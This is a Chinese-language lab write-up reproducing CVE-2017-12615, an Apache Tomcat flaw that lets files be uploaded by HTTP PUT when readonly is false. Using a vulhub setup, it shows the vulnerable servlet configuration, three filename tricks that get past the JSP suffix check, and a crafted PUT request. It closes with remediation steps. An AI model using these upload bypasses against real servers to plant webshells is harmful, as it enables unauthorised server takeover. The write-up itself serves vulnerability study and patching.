CVE-2017-12615漏洞复现
这是一个关于任意文件上传的漏洞,在tomcat中启用put方法会导致任意文件可以上传,从而导致服务器权限被获取。
漏洞介绍
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
漏洞复现
这里直接使用vulhub进行复现
https://vulhub.org/
docker启动后访问指定IP和端口

出现了Tomcat主页面即搭建成功。
Tomcat设置了写权限(readonly=false),这就导致我们可以向服务器写入文件。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
虽然Tomcat对文件后缀有一定程度的检查(不能直接写jsp),但是我们仍然可以通过一些文件系统特性来绕过限制(比如/
在Linux中使用)。
主要为这三种
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
构造数据包
PUT /shell.jsp/ HTTP/1.1
Host: 192.168.56.130:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell

上传后访问目录。

正常输出。
内容部分可写入恶意代码 然后达到get webshell的目的。
修复方案
1、配置readonly值为True或注释参数,禁止使用PUT方法并重启tomcat。
注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
2、根据官方补丁升级最新版本。
参考链接
https://xz.aliyun.com/t/5610
https://vulhub.org/#/environments/tomcat/CVE-2017-12615/